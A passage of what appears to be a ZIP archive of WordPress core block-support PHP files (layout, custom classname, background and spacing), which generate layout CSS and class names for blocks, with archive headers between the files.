		$layout_orientation = isset( $layout['orientation'] ) ? $layout['orientation'] : 'horizontal';

		$justify_content_options = array(
			'left'   => 'flex-start',
			'right'  => 'flex-end',
			'center' => 'center',
		);

		$vertical_alignment_options = array(
			'top'    => 'flex-start',
			'center' => 'center',
			'bottom' => 'flex-end',
		);

		if ( 'horizontal' === $layout_orientation ) {
			$justify_content_options    += array( 'space-between' => 'space-between' );
			$vertical_alignment_options += array( 'stretch' => 'stretch' );
		} else {
			$justify_content_options    += array( 'stretch' => 'stretch' );
			$vertical_alignment_options += array( 'space-between' => 'space-between' );
		}

		if ( ! empty( $layout['flexWrap'] ) && 'nowrap' === $layout['flexWrap'] ) {
			$layout_styles[] = array(
				'selector'     => $selector,
				'declarations' => array( 'flex-wrap' => 'nowrap' ),
			);
		}

		if ( $has_block_gap_support && isset( $gap_value ) ) {
			$combined_gap_value = '';
			$gap_sides          = is_array( $gap_value ) ? array( 'top', 'left' ) : array( 'top' );

			foreach ( $gap_sides as $gap_side ) {
				$process_value = $gap_value;
				if ( is_array( $gap_value ) ) {
					$process_value = isset( $gap_value[ $gap_side ] ) ? $gap_value[ $gap_side ] : $fallback_gap_value;
				}
				// Get spacing CSS variable from preset value if provided.
				if ( is_string( $process_value ) && str_contains( $process_value, 'var:preset|spacing|' ) ) {
					$index_to_splice = strrpos( $process_value, '|' ) + 1;
					$slug            = _wp_to_kebab_case( substr( $process_value, $index_to_splice ) );
					$process_value   = "var(--wp--preset--spacing--$slug)";
				}
				$combined_gap_value .= "$process_value ";
			}
			$gap_value = trim( $combined_gap_value );

			if ( null !== $gap_value && ! $should_skip_gap_serialization ) {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'gap' => $gap_value ),
				);
			}
		}

		if ( 'horizontal' === $layout_orientation ) {
			/*
			 * Add this style only if is not empty for backwards compatibility,
			 * since we intend to convert blocks that had flex layout implemented
			 * by custom css.
			 */
			if ( ! empty( $layout['justifyContent'] ) && array_key_exists( $layout['justifyContent'], $justify_content_options ) ) {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'justify-content' => $justify_content_options[ $layout['justifyContent'] ] ),
				);
			}

			if ( ! empty( $layout['verticalAlignment'] ) && array_key_exists( $layout['verticalAlignment'], $vertical_alignment_options ) ) {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'align-items' => $vertical_alignment_options[ $layout['verticalAlignment'] ] ),
				);
			}
		} else {
			$layout_styles[] = array(
				'selector'     => $selector,
				'declarations' => array( 'flex-direction' => 'column' ),
			);
			if ( ! empty( $layout['justifyContent'] ) && array_key_exists( $layout['justifyContent'], $justify_content_options ) ) {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'align-items' => $justify_content_options[ $layout['justifyContent'] ] ),
				);
			} else {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'align-items' => 'flex-start' ),
				);
			}
			if ( ! empty( $layout['verticalAlignment'] ) && array_key_exists( $layout['verticalAlignment'], $vertical_alignment_options ) ) {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'justify-content' => $vertical_alignment_options[ $layout['verticalAlignment'] ] ),
				);
			}
		}
	} elseif ( 'grid' === $layout_type ) {
		if ( ! empty( $layout['columnCount'] ) ) {
			$layout_styles[] = array(
				'selector'     => $selector,
				'declarations' => array( 'grid-template-columns' => 'repeat(' . $layout['columnCount'] . ', minmax(0, 1fr))' ),
			);
		} else {
			$minimum_column_width = ! empty( $layout['minimumColumnWidth'] ) ? $layout['minimumColumnWidth'] : '12rem';

			$layout_styles[] = array(
				'selector'     => $selector,
				'declarations' => array(
					'grid-template-columns' => 'repeat(auto-fill, minmax(min(' . $minimum_column_width . ', 100%), 1fr))',
					'container-type'        => 'inline-size',
				),
			);
		}

		if ( $has_block_gap_support && isset( $gap_value ) ) {
			$combined_gap_value = '';
			$gap_sides          = is_array( $gap_value ) ? array( 'top', 'left' ) : array( 'top' );

			foreach ( $gap_sides as $gap_side ) {
				$process_value = $gap_value;
				if ( is_array( $gap_value ) ) {
					$process_value = isset( $gap_value[ $gap_side ] ) ? $gap_value[ $gap_side ] : $fallback_gap_value;
				}
				// Get spacing CSS variable from preset value if provided.
				if ( is_string( $process_value ) && str_contains( $process_value, 'var:preset|spacing|' ) ) {
					$index_to_splice = strrpos( $process_value, '|' ) + 1;
					$slug            = _wp_to_kebab_case( substr( $process_value, $index_to_splice ) );
					$process_value   = "var(--wp--preset--spacing--$slug)";
				}
				$combined_gap_value .= "$process_value ";
			}
			$gap_value = trim( $combined_gap_value );

			if ( null !== $gap_value && ! $should_skip_gap_serialization ) {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'gap' => $gap_value ),
				);
			}
		}
	}

	if ( ! empty( $layout_styles ) ) {
		/*
		 * Add to the style engine store to enqueue and render layout styles.
		 * Return compiled layout styles to retain backwards compatibility.
		 * Since https://github.com/WordPress/gutenberg/pull/42452,
		 * wp_enqueue_block_support_styles is no longer called in this block supports file.
		 */
		return wp_style_engine_get_stylesheet_from_css_rules(
			$layout_styles,
			array(
				'context'  => 'block-supports',
				'prettify' => false,
			)
		);
	}

	return '';
}

/**
 * Renders the layout config to the block wrapper.
 *
 * @since 5.8.0
 * @since 6.3.0 Adds compound class to layout wrapper for global spacing styles.
 * @since 6.3.0 Check for layout support via the `layout` key with fallback to `__experimentalLayout`.
 * @since 6.6.0 Removed duplicate container class from layout styles.
 * @access private
 *
 * @param string $block_content Rendered block content.
 * @param array  $block         Block object.
 * @return string Filtered block content.
 */
function wp_render_layout_support_flag( $block_content, $block ) {
	$block_type            = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
	$block_supports_layout = block_has_support( $block_type, 'layout', false ) || block_has_support( $block_type, '__experimentalLayout', false );
	$child_layout          = isset( $block['attrs']['style']['layout'] ) ? $block['attrs']['style']['layout'] : null;

	if ( ! $block_supports_layout && ! $child_layout ) {
		return $block_content;
	}

	$outer_class_names = array();

	// Child layout specific logic.
	if ( $child_layout ) {
		/*
		 * Generates a unique class for child block layout styles.
		 *
		 * To ensure consistent class generation across different page renders,
		 * only properties that affect layout styling are used. These properties
		 * come from `$block['attrs']['style']['layout']` and `$block['parentLayout']`.
		 *
		 * As long as these properties coincide, the generated class will be the same.
		 */
		$container_content_class = wp_unique_id_from_values(
			array(
				'layout'       => array_intersect_key(
					$block['attrs']['style']['layout'] ?? array(),
					array_flip(
						array( 'selfStretch', 'flexSize', 'columnStart', 'columnSpan', 'rowStart', 'rowSpan' )
					)
				),
				'parentLayout' => array_intersect_key(
					$block['parentLayout'] ?? array(),
					array_flip(
						array( 'minimumColumnWidth', 'columnCount' )
					)
				),
			),
			'wp-container-content-'
		);

		$child_layout_declarations = array();
		$child_layout_styles       = array();

		$self_stretch = isset( $child_layout['selfStretch'] ) ? $child_layout['selfStretch'] : null;

		if ( 'fixed' === $self_stretch && isset( $child_layout['flexSize'] ) ) {
			$child_layout_declarations['flex-basis'] = $child_layout['flexSize'];
			$child_layout_declarations['box-sizing'] = 'border-box';
		} elseif ( 'fill' === $self_stretch ) {
			$child_layout_declarations['flex-grow'] = '1';
		}

		if ( isset( $child_layout['columnSpan'] ) ) {
			$column_span                              = $child_layout['columnSpan'];
			$child_layout_declarations['grid-column'] = "span $column_span";
		}
		if ( isset( $child_layout['rowSpan'] ) ) {
			$row_span                              = $child_layout['rowSpan'];
			$child_layout_declarations['grid-row'] = "span $row_span";
		}
		$child_layout_styles[] = array(
			'selector'     => ".$container_content_class",
			'declarations' => $child_layout_declarations,
		);

		/*
		 * If columnSpan is set, and the parent grid is responsive, i.e. if it has a minimumColumnWidth set,
		 * the columnSpan should be removed on small grids. If there's a minimumColumnWidth, the grid is responsive.
		 * But if the minimumColumnWidth value wasn't changed, it won't be set. In that case, if columnCount doesn't
		 * exist, we can assume that the grid is responsive.
		 */
		if ( isset( $child_layout['columnSpan'] ) && ( isset( $block['parentLayout']['minimumColumnWidth'] ) || ! isset( $block['parentLayout']['columnCount'] ) ) ) {
			$column_span_number  = floatval( $child_layout['columnSpan'] );
			$parent_column_width = isset( $block['parentLayout']['minimumColumnWidth'] ) ? $block['parentLayout']['minimumColumnWidth'] : '12rem';
			$parent_column_value = floatval( $parent_column_width );
			$parent_column_unit  = explode( $parent_column_value, $parent_column_width );

			/*
			 * If there is no unit, the width has somehow been mangled so we reset both unit and value
			 * to defaults.
			 * Additionally, the unit should be one of px, rem or em, so that also needs to be checked.
			 */
			if ( count( $parent_column_unit ) <= 1 ) {
				$parent_column_unit  = 'rem';
				$parent_column_value = 12;
			} else {
				$parent_column_unit = $parent_column_unit[1];

				if ( ! in_array( $parent_column_unit, array( 'px', 'rem', 'em' ), true ) ) {
					$parent_column_unit = 'rem';
				}
			}

			/*
			 * A default gap value is used for this computation because custom gap values may not be
			 * viable to use in the computation of the container query value.
			 */
			$default_gap_value     = 'px' === $parent_column_unit ? 24 : 1.5;
			$container_query_value = $column_span_number * $parent_column_value + ( $column_span_number - 1 ) * $default_gap_value;
			$container_query_value = $container_query_value . $parent_column_unit;

			$child_layout_styles[] = array(
				'rules_group'  => "@container (max-width: $container_query_value )",
				'selector'     => ".$container_content_class",
				'declarations' => array(
					'grid-column' => '1/-1',
				),
			);
		}

		/*
		 * Add to the style engine store to enqueue and render layout styles.
		 * Return styles here just to check if any exist.
		 */
		$child_css = wp_style_engine_get_stylesheet_from_css_rules(
			$child_layout_styles,
			array(
				'context'  => 'block-supports',
				'prettify' => false,
			)
		);

		if ( $child_css ) {
			$outer_class_names[] = $container_content_class;
		}
	}

	// Prep the processor for modifying the block output.
	$processor = new WP_HTML_Tag_Processor( $block_content );

	// Having no tags implies there are no tags onto which to add class names.
	if ( ! $processor->next_tag() ) {
		return $block_content;
	}

	/*
	 * A block may not support layout but still be affected by a parent block's layout.
	 *
	 * In these cases add the appropriate class names and then return early; there's
	 * no need to investigate on this block whether additional layout constraints apply.
	 */
	if ( ! $block_supports_layout && ! empty( $outer_class_names ) ) {
		foreach ( $outer_class_names as $class_name ) {
			$processor->add_class( $class_name );
		}
		return $processor->get_updated_html();
	} elseif ( ! $block_supports_layout ) {
		// Ensure layout classnames are not injected if there is no layout support.
		return $block_content;
	}

	$global_settings = wp_get_global_settings();
	$fallback_layout = isset( $block_type->supports['layout']['default'] )
		? $block_type->supports['layout']['default']
		: array();
	if ( empty( $fallback_layout ) ) {
		$fallback_layout = isset( $block_type->supports['__experimentalLayout']['default'] )
			? $block_type->supports['__experimentalLayout']['default']
			: array();
	}
	$used_layout = isset( $block['attrs']['layout'] ) ? $block['attrs']['layout'] : $fallback_layout;

	$class_names        = array();
	$layout_definitions = wp_get_layout_definitions();

	// Set the correct layout type for blocks using legacy content width.
	if ( isset( $used_layout['inherit'] ) && $used_layout['inherit'] || isset( $used_layout['contentSize'] ) && $used_layout['contentSize'] ) {
		$used_layout['type'] = 'constrained';
	}

	$root_padding_aware_alignments = isset( $global_settings['useRootPaddingAwareAlignments'] )
		? $global_settings['useRootPaddingAwareAlignments']
		: false;

	if (
		$root_padding_aware_alignments &&
		isset( $used_layout['type'] ) &&
		'constrained' === $used_layout['type']
	) {
		$class_names[] = 'has-global-padding';
	}

	/*
	 * The following section was added to reintroduce a small set of layout classnames that were
	 * removed in the 5.9 release (https://github.com/WordPress/gutenberg/issues/38719). It is
	 * not intended to provide an extended set of classes to match all block layout attributes
	 * here.
	 */
	if ( ! empty( $block['attrs']['layout']['orientation'] ) ) {
		$class_names[] = 'is-' . sanitize_title( $block['attrs']['layout']['orientation'] );
	}

	if ( ! empty( $block['attrs']['layout']['justifyContent'] ) ) {
		$class_names[] = 'is-content-justification-' . sanitize_title( $block['attrs']['layout']['justifyContent'] );
	}

	if ( ! empty( $block['attrs']['layout']['flexWrap'] ) && 'nowrap' === $block['attrs']['layout']['flexWrap'] ) {
		$class_names[] = 'is-nowrap';
	}

	// Get classname for layout type.
	if ( isset( $used_layout['type'] ) ) {
		$layout_classname = isset( $layout_definitions[ $used_layout['type'] ]['className'] )
			? $layout_definitions[ $used_layout['type'] ]['className']
			: '';
	} else {
		$layout_classname = isset( $layout_definitions['default']['className'] )
			? $layout_definitions['default']['className']
			: '';
	}

	if ( $layout_classname && is_string( $layout_classname ) ) {
		$class_names[] = sanitize_title( $layout_classname );
	}

	/*
	 * Only generate Layout styles if the theme has not opted-out.
	 * Attribute-based Layout classnames are output in all cases.
	 */
	if ( ! current_theme_supports( 'disable-layout-styles' ) ) {

		$gap_value = isset( $block['attrs']['style']['spacing']['blockGap'] )
			? $block['attrs']['style']['spacing']['blockGap']
			: null;
		/*
		 * Skip if gap value contains unsupported characters.
		 * Regex for CSS value borrowed from `safecss_filter_attr`, and used here
		 * to only match against the value, not the CSS attribute.
		 */
		if ( is_array( $gap_value ) ) {
			foreach ( $gap_value as $key => $value ) {
				$gap_value[ $key ] = $value && preg_match( '%[\\\(&=}]|/\*%', $value ) ? null : $value;
			}
		} else {
			$gap_value = $gap_value && preg_match( '%[\\\(&=}]|/\*%', $gap_value ) ? null : $gap_value;
		}

		$fallback_gap_value = isset( $block_type->supports['spacing']['blockGap']['__experimentalDefault'] )
			? $block_type->supports['spacing']['blockGap']['__experimentalDefault']
			: '0.5em';
		$block_spacing      = isset( $block['attrs']['style']['spacing'] )
			? $block['attrs']['style']['spacing']
			: null;

		/*
		 * If a block's block.json skips serialization for spacing or spacing.blockGap,
		 * don't apply the user-defined value to the styles.
		 */
		$should_skip_gap_serialization = wp_should_skip_block_supports_serialization( $block_type, 'spacing', 'blockGap' );

		$block_gap             = isset( $global_settings['spacing']['blockGap'] )
			? $global_settings['spacing']['blockGap']
			: null;
		$has_block_gap_support = isset( $block_gap );

		/*
		 * Generates a unique ID based on all the data required to obtain the
		 * corresponding layout style. Keeps the CSS class names the same
		 * even for different blocks on different places, as long as they have
		 * the same layout definition. Makes the CSS class names stable across
		 * paginations for features like the enhanced pagination of the Query block.
		 */
		$container_class = wp_unique_id_from_values(
			array(
				$used_layout,
				$has_block_gap_support,
				$gap_value,
				$should_skip_gap_serialization,
				$fallback_gap_value,
				$block_spacing,
			),
			'wp-container-' . sanitize_title( $block['blockName'] ) . '-is-layout-'
		);

		$style = wp_get_layout_style(
			".$container_class",
			$used_layout,
			$has_block_gap_support,
			$gap_value,
			$should_skip_gap_serialization,
			$fallback_gap_value,
			$block_spacing
		);

		// Only add container class and enqueue block support styles if unique styles were generated.
		if ( ! empty( $style ) ) {
			$class_names[] = $container_class;
		}
	}

	// Add combined layout and block classname for global styles to hook onto.
	$block_name    = explode( '/', $block['blockName'] );
	$class_names[] = 'wp-block-' . end( $block_name ) . '-' . $layout_classname;

	// Add classes to the outermost HTML tag if necessary.
	if ( ! empty( $outer_class_names ) ) {
		foreach ( $outer_class_names as $outer_class_name ) {
			$processor->add_class( $outer_class_name );
		}
	}

	/**
	 * Attempts to refer to the inner-block wrapping element by its class attribute.
	 *
	 * When examining a block's inner content, if a block has inner blocks, then
	 * the first content item will likely be a text (HTML) chunk immediately
	 * preceding the inner blocks. The last HTML tag in that chunk would then be
	 * an opening tag for an element that wraps the inner blocks.
	 *
	 * There's no reliable way to associate this wrapper in $block_content because
	 * it may have changed during the rendering pipeline (as inner contents is
	 * provided before rendering) and through previous filters. In many cases,
	 * however, the `class` attribute will be a good-enough identifier, so this
	 * code finds the last tag in that chunk and stores the `class` attribute
	 * so that it can be used later when working through the rendered block output
	 * to identify the wrapping element and add the remaining class names to it.
	 *
	 * It's also possible that no inner block wrapper even exists. If that's the
	 * case this code could apply the class names to an invalid element.
	 *
	 * Example:
	 *
	 *     $block['innerBlocks']  = array( $list_item );
	 *     $block['innerContent'] = array( '<ul class="list-wrapper is-unordered">', null, '</ul>' );
	 *
	 *     // After rendering, the initial contents may have been modified by other renderers or filters.
	 *     $block_content = <<<HTML
	 *         <figure>
	 *             <ul class="annotated-list list-wrapper is-unordered">
	 *                 <li>Code</li>
	 *             </ul><figcaption>It's a list!</figcaption>
	 *         </figure>
	 *     HTML;
	 *
	 * Although it is possible that the original block-wrapper classes are changed in $block_content
	 * from how they appear in $block['innerContent'], it's likely that the original class attributes
	 * are still present in the wrapper as they are in this example. Frequently, additional classes
	 * will also be present; rarely should classes be removed.
	 *
	 * @todo Find a better way to match the first inner block. If it's possible to identify where the
	 *       first inner block starts, then it will be possible to find the last tag before it starts
	 *       and then that tag, if an opening tag, can be solidly identified as a wrapping element.
	 *       Can some unique value or class or ID be added to the inner blocks when they process
	 *       so that they can be extracted here safely without guessing? Can the block rendering function
	 *       return information about where the rendered inner blocks start?
	 *
	 * @var string|null
	 */
	$inner_block_wrapper_classes = null;
	$first_chunk                 = isset( $block['innerContent'][0] ) ? $block['innerContent'][0] : null;
	if ( is_string( $first_chunk ) && count( $block['innerContent'] ) > 1 ) {
		$first_chunk_processor = new WP_HTML_Tag_Processor( $first_chunk );
		while ( $first_chunk_processor->next_tag() ) {
			$class_attribute = $first_chunk_processor->get_attribute( 'class' );
			if ( is_string( $class_attribute ) && ! empty( $class_attribute ) ) {
				$inner_block_wrapper_classes = $class_attribute;
			}
		}
	}

	/*
	 * If necessary, advance to what is likely to be an inner block wrapper tag.
	 *
	 * This advances until it finds the first tag containing the original class
	 * attribute from above. If none is found it will scan to the end of the block
	 * and fail to add any class names.
	 *
	 * If there is no block wrapper it won't advance at all, in which case the
	 * class names will be added to the first and outermost tag of the block.
	 * For cases where this outermost tag is the only tag surrounding inner
	 * blocks then the outer wrapper and inner wrapper are the same.
	 */
	do {
		if ( ! $inner_block_wrapper_classes ) {
			break;
		}

		$class_attribute = $processor->get_attribute( 'class' );
		if ( is_string( $class_attribute ) && str_contains( $class_attribute, $inner_block_wrapper_classes ) ) {
			break;
		}
	} while ( $processor->next_tag() );

	// Add the remaining class names.
	foreach ( $class_names as $class_name ) {
		$processor->add_class( $class_name );
	}

	return $processor->get_updated_html();
}

/**
 * Check if the parent block exists and if it has a layout attribute.
 * If it does, add the parent layout to the parsed block
 *
 * @since 6.6.0
 * @access private
 *
 * @param array    $parsed_block The parsed block.
 * @param array    $source_block The source block.
 * @param WP_Block $parent_block The parent block.
 * @return array The parsed block with parent layout attribute if it exists.
 */
function wp_add_parent_layout_to_parsed_block( $parsed_block, $source_block, $parent_block ) {
	if ( $parent_block && isset( $parent_block->parsed_block['attrs']['layout'] ) ) {
		$parsed_block['parentLayout'] = $parent_block->parsed_block['attrs']['layout'];
	}
	return $parsed_block;
}

add_filter( 'render_block_data', 'wp_add_parent_layout_to_parsed_block', 10, 3 );

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'layout',
	array(
		'register_attribute' => 'wp_register_layout_support',
	)
);
add_filter( 'render_block', 'wp_render_layout_support_flag', 10, 2 );

/**
 * For themes without theme.json file, make sure
 * to restore the inner div for the group block
 * to avoid breaking styles relying on that div.
 *
 * @since 5.8.0
 * @since 6.6.1 Removed inner container from Grid variations.
 * @access private
 *
 * @param string $block_content Rendered block content.
 * @param array  $block         Block object.
 * @return string Filtered block content.
 */
function wp_restore_group_inner_container( $block_content, $block ) {
	$tag_name                         = isset( $block['attrs']['tagName'] ) ? $block['attrs']['tagName'] : 'div';
	$group_with_inner_container_regex = sprintf(
		'/(^\s*<%1$s\b[^>]*wp-block-group(\s|")[^>]*>)(\s*<div\b[^>]*wp-block-group__inner-container(\s|")[^>]*>)((.|\S|\s)*)/U',
		preg_quote( $tag_name, '/' )
	);

	if (
		wp_theme_has_theme_json() ||
		1 === preg_match( $group_with_inner_container_regex, $block_content ) ||
		( isset( $block['attrs']['layout']['type'] ) && ( 'flex' === $block['attrs']['layout']['type'] || 'grid' === $block['attrs']['layout']['type'] ) )
	) {
		return $block_content;
	}

	/*
	 * This filter runs after the layout classnames have been added to the block, so they
	 * have to be removed from the outer wrapper and then added to the inner.
	 */
	$layout_classes = array();
	$processor      = new WP_HTML_Tag_Processor( $block_content );

	if ( $processor->next_tag( array( 'class_name' => 'wp-block-group' ) ) ) {
		foreach ( $processor->class_list() as $class_name ) {
			if ( str_contains( $class_name, 'is-layout-' ) ) {
				$layout_classes[] = $class_name;
				$processor->remove_class( $class_name );
			}
		}
	}

	$content_without_layout_classes = $processor->get_updated_html();
	$replace_regex                  = sprintf(
		'/(^\s*<%1$s\b[^>]*wp-block-group[^>]*>)(.*)(<\/%1$s>\s*$)/ms',
		preg_quote( $tag_name, '/' )
	);
	$updated_content                = preg_replace_callback(
		$replace_regex,
		static function ( $matches ) {
			return $matches[1] . '<div class="wp-block-group__inner-container">' . $matches[2] . '</div>' . $matches[3];
		},
		$content_without_layout_classes
	);

	// Add layout classes to inner wrapper.
	if ( ! empty( $layout_classes ) ) {
		$processor = new WP_HTML_Tag_Processor( $updated_content );
		if ( $processor->next_tag( array( 'class_name' => 'wp-block-group__inner-container' ) ) ) {
			foreach ( $layout_classes as $class_name ) {
				$processor->add_class( $class_name );
			}
		}
		$updated_content = $processor->get_updated_html();
	}
	return $updated_content;
}

add_filter( 'render_block_core/group', 'wp_restore_group_inner_container', 10, 2 );

/**
 * For themes without theme.json file, make sure
 * to restore the outer div for the aligned image block
 * to avoid breaking styles relying on that div.
 *
 * @since 6.0.0
 * @access private
 *
 * @param string $block_content Rendered block content.
 * @param  array  $block        Block object.
 * @return string Filtered block content.
 */
function wp_restore_image_outer_container( $block_content, $block ) {
	$image_with_align = "
/# 1) everything up to the class attribute contents
(
	^\s*
	<figure\b
	[^>]*
	\bclass=
	[\"']
)
# 2) the class attribute contents
(
	[^\"']*
	\bwp-block-image\b
	[^\"']*
	\b(?:alignleft|alignright|aligncenter)\b
	[^\"']*
)
# 3) everything after the class attribute contents
(
	[\"']
	[^>]*
	>
	.*
	<\/figure>
)/iUx";

	if (
		wp_theme_has_theme_json() ||
		0 === preg_match( $image_with_align, $block_content, $matches )
	) {
		return $block_content;
	}

	$wrapper_classnames = array( 'wp-block-image' );

	// If the block has a classNames attribute these classnames need to be removed from the content and added back
	// to the new wrapper div also.
	if ( ! empty( $block['attrs']['className'] ) ) {
		$wrapper_classnames = array_merge( $wrapper_classnames, explode( ' ', $block['attrs']['className'] ) );
	}
	$content_classnames          = explode( ' ', $matches[2] );
	$filtered_content_classnames = array_diff( $content_classnames, $wrapper_classnames );

	return '<div class="' . implode( ' ', $wrapper_classnames ) . '">' . $matches[1] . implode( ' ', $filtered_content_classnames ) . $matches[3] . '</div>';
}

add_filter( 'render_block_core/image', 'wp_restore_image_outer_container', 10, 2 );
PK�Vd[{�/��custom-classname.phpnu�[���<?php
/**
 * Custom classname block support flag.
 *
 * @package WordPress
 * @since 5.6.0
 */

/**
 * Registers the custom classname block attribute for block types that support it.
 *
 * @since 5.6.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_custom_classname_support( $block_type ) {
	$has_custom_classname_support = block_has_support( $block_type, 'customClassName', true );

	if ( $has_custom_classname_support ) {
		if ( ! $block_type->attributes ) {
			$block_type->attributes = array();
		}

		if ( ! array_key_exists( 'className', $block_type->attributes ) ) {
			$block_type->attributes['className'] = array(
				'type' => 'string',
			);
		}
	}
}

/**
 * Adds the custom classnames to the output.
 *
 * @since 5.6.0
 * @access private
 *
 * @param  WP_Block_Type $block_type       Block Type.
 * @param  array         $block_attributes Block attributes.
 *
 * @return array Block CSS classes and inline styles.
 */
function wp_apply_custom_classname_support( $block_type, $block_attributes ) {
	$has_custom_classname_support = block_has_support( $block_type, 'customClassName', true );
	$attributes                   = array();
	if ( $has_custom_classname_support ) {
		$has_custom_classnames = array_key_exists( 'className', $block_attributes );

		if ( $has_custom_classnames ) {
			$attributes['class'] = $block_attributes['className'];
		}
	}

	return $attributes;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'custom-classname',
	array(
		'register_attribute' => 'wp_register_custom_classname_support',
		'apply'              => 'wp_apply_custom_classname_support',
	)
);
PK�Vd[O�ԩbackground.phpnu�[���<?php
/**
 * Background block support flag.
 *
 * @package WordPress
 * @since 6.4.0
 */

/**
 * Registers the style block attribute for block types that support it.
 *
 * @since 6.4.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_background_support( $block_type ) {
	// Setup attributes and styles within that if needed.
	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	// Check for existing style attribute definition e.g. from block.json.
	if ( array_key_exists( 'style', $block_type->attributes ) ) {
		return;
	}

	$has_background_support = block_has_support( $block_type, array( 'background' ), false );

	if ( $has_background_support ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}
}

/**
 * Renders the background styles to the block wrapper.
 * This block support uses the `render_block` hook to ensure that
 * it is also applied to non-server-rendered blocks.
 *
 * @since 6.4.0
 * @since 6.5.0 Added support for `backgroundPosition` and `backgroundRepeat` output.
 * @since 6.6.0 Removed requirement for `backgroundImage.source`. A file/url is the default.
 * @since 6.7.0 Added support for `backgroundAttachment` output.
 *
 * @access private
 *
 * @param  string $block_content Rendered block content.
 * @param  array  $block         Block object.
 * @return string Filtered block content.
 */
function wp_render_background_support( $block_content, $block ) {
	$block_type                   = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
	$block_attributes             = ( isset( $block['attrs'] ) && is_array( $block['attrs'] ) ) ? $block['attrs'] : array();
	$has_background_image_support = block_has_support( $block_type, array( 'background', 'backgroundImage' ), false );

	if (
		! $has_background_image_support ||
		wp_should_skip_block_supports_serialization( $block_type, 'background', 'backgroundImage' ) ||
		! isset( $block_attributes['style']['background'] )
	) {
		return $block_content;
	}

	$background_styles                         = array();
	$background_styles['backgroundImage']      = $block_attributes['style']['background']['backgroundImage'] ?? null;
	$background_styles['backgroundSize']       = $block_attributes['style']['background']['backgroundSize'] ?? null;
	$background_styles['backgroundPosition']   = $block_attributes['style']['background']['backgroundPosition'] ?? null;
	$background_styles['backgroundRepeat']     = $block_attributes['style']['background']['backgroundRepeat'] ?? null;
	$background_styles['backgroundAttachment'] = $block_attributes['style']['background']['backgroundAttachment'] ?? null;

	if ( ! empty( $background_styles['backgroundImage'] ) ) {
		$background_styles['backgroundSize'] = $background_styles['backgroundSize'] ?? 'cover';

		// If the background size is set to `contain` and no position is set, set the position to `center`.
		if ( 'contain' === $background_styles['backgroundSize'] && ! $background_styles['backgroundPosition'] ) {
			$background_styles['backgroundPosition'] = '50% 50%';
		}
	}

	$styles = wp_style_engine_get_styles( array( 'background' => $background_styles ) );

	if ( ! empty( $styles['css'] ) ) {
		// Inject background styles to the first element, presuming it's the wrapper, if it exists.
		$tags = new WP_HTML_Tag_Processor( $block_content );

		if ( $tags->next_tag() ) {
			$existing_style = $tags->get_attribute( 'style' );
			$updated_style  = '';

			if ( ! empty( $existing_style ) ) {
				$updated_style = $existing_style;
				if ( ! str_ends_with( $existing_style, ';' ) ) {
					$updated_style .= ';';
				}
			}

			$updated_style .= $styles['css'];
			$tags->set_attribute( 'style', $updated_style );
			$tags->add_class( 'has-background' );
		}

		return $tags->get_updated_html();
	}

	return $block_content;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'background',
	array(
		'register_attribute' => 'wp_register_background_support',
	)
);

add_filter( 'render_block', 'wp_render_background_support', 10, 2 );
PK�Vd[�QA/<<spacing.phpnu�[���<?php
/**
 * Spacing block support flag.
 *
 * For backwards compatibility, this remains separate to the dimensions.php
 * block support despite both belonging under a single panel in the editor.
 *
 * @package WordPress
 * @since 5.8.0
 */

/**
 * Registers the style block attribute for block types that support it.
 *
 * @since 5.8.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_spacing_support( $block_type ) {
	$has_spacing_support = block_has_support( $block_type, 'spacing', false );

	// Setup attributes and styles within that if needed.
	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	if ( $has_spacing_support && ! array_key_exists( 'style', $block_type->attributes ) ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}
}

/**
 * Adds CSS classes for block spacing to the incoming attributes array.
 * This will be applied to the block markup in the front-end.
 *
 * @since 5.8.0
 * @since 6.1.0 Implemented the style engine to generate CSS and classnames.
 * @access private
 *
 * @param WP_Block_Type $block_type       Block Type.
 * @param array         $block_attributes Block attributes.
 * @return array Block spacing CSS classes and inline styles.
 */
function wp_apply_spacing_support( $block_type, $block_attributes ) {
	if ( wp_should_skip_block_supports_serialization( $block_type, 'spacing' ) ) {
		return array();
	}

	$attributes          = array();
	$has_padding_support = block_has_support( $block_type, array( 'spacing', 'padding' ), false );
	$has_margin_support  = block_has_support( $block_type, array( 'spacing', 'margin' ), false );
	$block_styles        = isset( $block_attributes['style'] ) ? $block_attributes['style'] : null;

	if ( ! $block_styles ) {
		return $attributes;
	}

	$skip_padding         = wp_should_skip_block_supports_serialization( $block_type, 'spacing', 'padding' );
	$skip_margin          = wp_should_skip_block_supports_serialization( $block_type, 'spacing', 'margin' );
	$spacing_block_styles = array(
		'padding' => null,
		'margin'  => null,
	);
	if ( $has_padding_support && ! $skip_padding ) {
		$spacing_block_styles['padding'] = isset( $block_styles['spacing']['padding'] ) ? $block_styles['spacing']['padding'] : null;
	}
	if ( $has_margin_support && ! $skip_margin ) {
		$spacing_block_styles['margin'] = isset( $block_styles['spacing']['margin'] ) ? $block_styles['spacing']['margin'] : null;
	}
	$styles = wp_style_engine_get_styles( array( 'spacing' => $spacing_block_styles ) );

	if ( ! empty( $styles['css'] ) ) {
		$attributes['style'] = $styles['css'];
	}

	return $attributes;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'spacing',
	array(
		'register_attribute' => 'wp_register_spacing_support',
		'apply'              => 'wp_apply_spacing_support',
	)
);
PK�Vd[��R��	align.phpnu�[���<?php
/**
 * Align block support flag.
 *
